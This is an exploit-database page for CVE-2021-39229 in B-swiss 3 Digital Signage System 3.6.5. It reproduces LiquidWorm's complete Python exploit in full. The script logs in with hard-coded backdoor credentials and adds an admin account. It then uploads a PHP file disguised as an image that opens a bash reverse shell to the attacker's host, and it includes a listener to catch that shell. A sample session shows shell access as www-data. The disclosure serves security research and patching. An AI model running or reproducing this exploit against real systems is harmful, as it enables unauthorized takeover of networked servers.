B-swiss 3 Digital Signage System 3.6.5 Remote Code Execution
CVE
Category
Price
Severity
CVE-2021-39229
CWE-287
Not disclosed
High
Author
Risk
Exploitation Type
Date
Ezra Caltum
High
Remote
2020-09-23
CPE
cpe:cpe:/a:b-swiss:digital_signage_system:3.6.5
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020090110 Below is a copy:
B-swiss 3 Digital Signage System 3.6.5 Remote Code Execution # Exploit Title: B-swiss 3 Digital Signage System 3.6.5 - Remote Code Execution
# Date: 2020-08-27
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.b-swiss.com
# Version: <= 3.6.5
# CVE : N/A
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# B-swiss 3 Digital Signage System 3.6.5 Backdoor Remote Code Execution
#
#
# Vendor: B-Swiss SARL | b-tween Sarl
# Product web page: https://www.b-swiss.com
# Affected version: 3.6.5
# 3.6.2
# 3.6.1
# 3.6.0
# 3.5.80
# 3.5.40
# 3.5.20
# 3.5.00
# 3.2.00
# 3.1.00
#
# Summary: Intelligent digital signage made easy. To go beyond the
# possibilities offered, b-swiss allows you to create the communication
# solution for your specific needs and your graphic charter. You benefit
# from our experience and know-how in the realization of your digital
# signage project.
#
# Desc: The application suffers from an "authenticated" arbitrary
# PHP code execution. The vulnerability is caused due to the improper
# verification of uploaded files in 'index.php' script thru the 'rec_poza'
# POST parameter. This can be exploited to execute arbitrary PHP code
# by uploading a malicious PHP script file that will be stored in
# '/usr/users' directory. Due to an undocumented and hidden "maintenance"
# account 'admin_m' which has the highest privileges in the application,
# an attacker can use these hard-coded credentials to authenticate and
# use the vulnerable image upload functionality to execute code on the
# server.
#
# ========================================================================================
# lqwrm@metalgear:~/prive$ python3 sign2.py 192.168.10.11 192.168.10.22 7777
# [*] Checking target...
# [*] Good to go!
# [*] Checking for previous attempts...
# [*] All good.
# [*] Getting backdoor session...
# [*] Got master backdoor cookie: 0c1617103c6f50107d09cb94b3eafeb2
# [*] Starting callback listener child thread
# [*] Starting handler on port 7777
# [*] Adding GUI credentials: test:123456
# [*] Executing and deleting stager file
# [*] Connection from 192.168.10.11:40080
# [*] You got shell!
# id ; uname -or
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# 4.15.0-20-generic GNU/Linux
# exit
# *** Connection closed by remote host ***
# [?] Want me to remove the GUI credentials? y
# [*] Removing...
# [*] t00t!
# lqwrm@metalgear:~/prive$
# ========================================================================================
#
# Tested on: Linux 5.3.0-46-generic x86_64
# Linux 4.15.0-20-generic x86_64
# Linux 4.9.78-xxxx-std-ipv6-64
# Linux 4.7.0-040700-generic x86_64
# Linux 4.2.0-27-generic x86_64
# Linux 3.19.0-47-generic x86_64
# Linux 2.6.32-5-amd64 x86_64
# Darwin 17.6.0 root:xnu-4570.61.1~1 x86_64
# macOS 10.13.5
# Microsoft Windows 7 Business Edition SP1 i586
# Apache/2.4.29 (Ubuntu)
# Apache/2.4.18 (Ubuntu)
# Apache/2.4.7 (Ubuntu)
# Apache/2.2.22 (Win64)
# Apache/2.4.18 (Ubuntu)
# Apache/2.2.16 (Debian)
# PHP/7.2.24-0ubuntu0.18.04.6
# PHP/5.6.40-26+ubuntu18.04.1+deb.sury.org+1
# PHP/5.6.33-1+ubuntu16.04.1+deb.sury.org+1
# PHP/5.6.31
# PHP/5.6.30-10+deb.sury.org~xenial+2
# PHP/5.5.9-1ubuntu4.17
# PHP/5.5.9-1ubuntu4.14
# PHP/5.3.10
# PHP/5.3.13
# PHP/5.3.3-7+squeeze16
# PHP/5.3.3-7+squeeze17
# MySQL/5.5.49
# MySQL/5.5.47
# MySQL/5.5.40
# MySQL/5.5.30
# MySQL/5.1.66
# MySQL/5.1.49
# MySQL/5.0.77
# MySQL/5.0.12-dev
# MySQL/5.0.11-dev
# MySQL/5.0.8-dev
# phpMyAdmin/3.5.7
# phpMyAdmin/3.4.10.1deb1
# phpMyAdmin/3.4.7
# phpMyAdmin/3.3.7deb7
# WampServer 3.2.0
# Acore Framework 2.0
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2020-5590
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5590.php
#
#
# 13.06.2020
#
from http.cookiejar import DefaultCookiePolicy# #yciloPeikooCtluafeD tropmi rajeikooc.ptth mofr
from http.cookiejar import CookieJar# oOo #raJeikooC tropmi rajeikooc.ptth mofr
from six.moves import input# #-----------------+-----------------# #tupni trompi sevom.xis morf
from time import sleep# | 01 | 04 | #peels trompi emit morf
import urllib.request# | | | | #tseuqer.billru tropmi
import urllib.parse# | | | | #esrap.billru tropmi
import telnetlib# | | | #biltenlet tropmi
import threading# | | | | #gnidaerht tropmi
import requests# | | | | #stseuqer tropmi
import socket# | | o | #tekcos tropmi
import sys,re# | | | #er,sys tropmi
############## #-----------------+-----------------# ##############
############### oOo ###############
################ | ################
#################### Y ####################
############################ _ ############################
###############################################################################################
class Sign:
def __init__(self):
self.username = b"\x61\x64\x6d\x69\x6e\x5f\x6d"
self.altruser = b"\x62\x2d\x73\x77\x69\x73\x73"
self.password = b"\x44\x50\x36\x25\x57\x33\x64"
self.agent = "SignageBot/1.02"
self.fileid = "251"
self.payload = None
self.answer = False
self.params = None
self.rhost = None
self.lhost = None
self.lport = None
self.send = None
def env(self):
if len(sys.argv) != 4:
self.usage()
else:
self.rhost = sys.argv[1]
self.lhost = sys.argv[2]
self.lport = int(sys.argv[3])
if not "http" in self.rhost:
self.rhost = "http://{}".format(self.rhost)
def usage(self):
self.roger()
print("Usage: python3 {} <RHOST[:RPORT]> <LHOST> <LPORT>".format(sys.argv[0]))
print("Example: python3 {} 192.168.10.11:80 192.168.10.22 7777\n".format(sys.argv[0]))
exit(0)
def roger(self):
waddup = """
____________________
/ \\
! B-swiss 3 !
! RCE !
\____________________/
! !
! !
L_ !
/ _)!
/ /__L
____________/ (____)
(____)
____________ (____)
\_(____)
! !
! !
\__/
"""
print(waddup)
def test(self):
print("[*] Checking target...")
try:
r = requests.get(self.rhost)
response = r.text
if not "B-swiss" in response:
print("[!] Not a b-swiss system")
exit(0)
if "B-swiss" in response:
print("[*] Good to go!")
next
else:
exit(-251)
except Exception as e:
print("[!] Ney ney: {msg}".format(msg=e))
exit(-1)
def login(self):
token = ""
cj = CookieJar()
self.params = {"locator" : "visitor.ProcessLogin",
"username" : self.username,
"password" : self.password,
"x" : "0",
"y" : "0"}
damato = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
damato.addheaders.pop()
damato.addheaders.append(("User-Agent", self.agent))
try:
print("[*] Getting backdoor session...")
damato.open(self.rhost + "/index.php", urllib.parse.urlencode(self.params).encode('utf-8'))
for cookie in cj:
token = cookie.value
print("[*] Got master backdoor cookie: "+token)
except urllib.request.URLError as e:
print("[!] Connection error: {}".format(e.reason))
return token
def upload(self):
j = "\r\n"
self.cookies = {"PNU_RAD_LIB" : self.rtoken}
self.headers = {"Cache-Control" : "max-age=0",
"Content-Type" : "multipart/form-data; boundary=----j",
"User-Agent" : self.agent,
"Accept-Encoding" : "gzip, deflate",
"Accept-Language" : "en-US,en;q=0.9",
"Connection" : "close"}
self.payload = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/"+self.lhost+"/"+str(self.lport)+" <&1;rm "+self.fileid+".php'\");"
print("[*] Adding GUI credentials: test:123456")
# rec_adminlevel values:
# ----------------------
# 100000 - "b-swiss Maintenance Admin" (Undocumented privilege)
# 7 - "B-swiss admin" <---------------------------------------------------------------------------------------+
# 8 - Other |
# |
self.send = "------j{}Content-Disposition: form-data; ".format(j)# |
self.send += "name=\"locator\"{}Users.Save{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |
self.send += "name=\"page\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |
self.send += "name=\"sort\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |
self.send += "name=\"id\"{}{}{}------j\r\nContent-Disposition: form-data; ".format(j*2,self.fileid,j,j)# |
self.send += "name=\"ischildgrid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |
self.send += "name=\"inpopup\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |
self.send += "name=\"ongridpage\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |
self.send += "name=\"rowid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |
self.send += "name=\"preview_screenid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |
self.send += "name=\"rec_firstname\"{}TestF{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |
self.send += "name=\"rec_lastname\"{}TestL{}------j{}Content-Disposition: form-data; ".format(j*2,j,2)# |
self.send += "name=\"rec_email\"{}[email protected] {}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |
self.send += "name=\"rec_username\"{}test{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |
self.send += "name=\"rec_password\"{}123456{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |
self.send += "name=\"rec_cpassword\"{}123456{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |
self.send += "name=\"rec_adminlevel\"{}7{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# <----------+
self.send += "name=\"rec_status\"{}1{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)
self.send += "name=\"rec_poza\"; filename=\"Blank.jpg.php\"{}Content-Type: application/octet-stream{}".format(j,j*2)
self.send += self.payload+"{}------j{}Content-Disposition: form-data; ".format(j,j)
self.send += "name=\"rec_poza_face\"{}C:\\fakepath\\Blank.jpg{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)
self.send += "name=\"rec_language\"{}french-sw{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)
self.send += "name=\"rec_languages[]\"{}2{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)
self.send += "name=\"rec_can_change_password\"{}1{}------j--{}".format(j*2,j,j)
requests.post(self.rhost+"/index.php", headers=self.headers, cookies=self.cookies, data=self.send)
print("[*] Executing and deleting stager file")
r = requests.get(self.rhost+"/usr/users/"+self.fileid+".php")
sleep(1)
self.answer = input("[?] Want me to remove the GUI credentials? ").strip()
if self.answer[0] == "y" or self.answer[0] == "Y":
print("[*] Removing...")
requests.get(self.rhost+"/index.php?locator=Users.Delete&id="+self.fileid, headers=self.headers, cookies=self.cookies)
if self.answer[0] == "n" or self.answer[0] == "N":
print("[*] Cool!")
print("[*] t00t!")
exit(-1)
def razmisluju(self):
print("[*] Starting callback listener child thread")
konac = threading.Thread(name="ZSL", target=self.phone)
konac.start()
sleep(1)
self.upload()
def fish(self):
r = requests.get(self.rhost+"/usr/users/", verify=False, allow_redirects=False)
response = r.text
print("[*] Checking for previous attempts...")
if not ".php" in response:
print("[*] All good.")
elif "251.php" in response:
print("[!] Stager file \"{}.php\" still present on the server".format(self.fileid))
def phone(self):
telnetus = telnetlib.Telnet()
print("[*] Starting handler on port {}".format(self.lport))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", self.lport))
while True:
try:
s.settimeout(7)
s.listen(1)
conn, addr = s.accept()
print("[*] Connection from {}:{}".format(addr[0], addr[1]))
telnetus.sock = conn
except socket.timeout as p:
print("[!] No outgoing calls :( ({msg})".format(msg=p))
print("[+] Check your port mappings or increase timeout")
s.close()
exit(0)
break
print("[*] You got shell!")
telnetus.interact()
conn.close()
def main(self):
self.env()
self.test()
self.fish()
self.rtoken = self.login()
self.razmisluju()
if __name__ == '__main__':
Sign().main()
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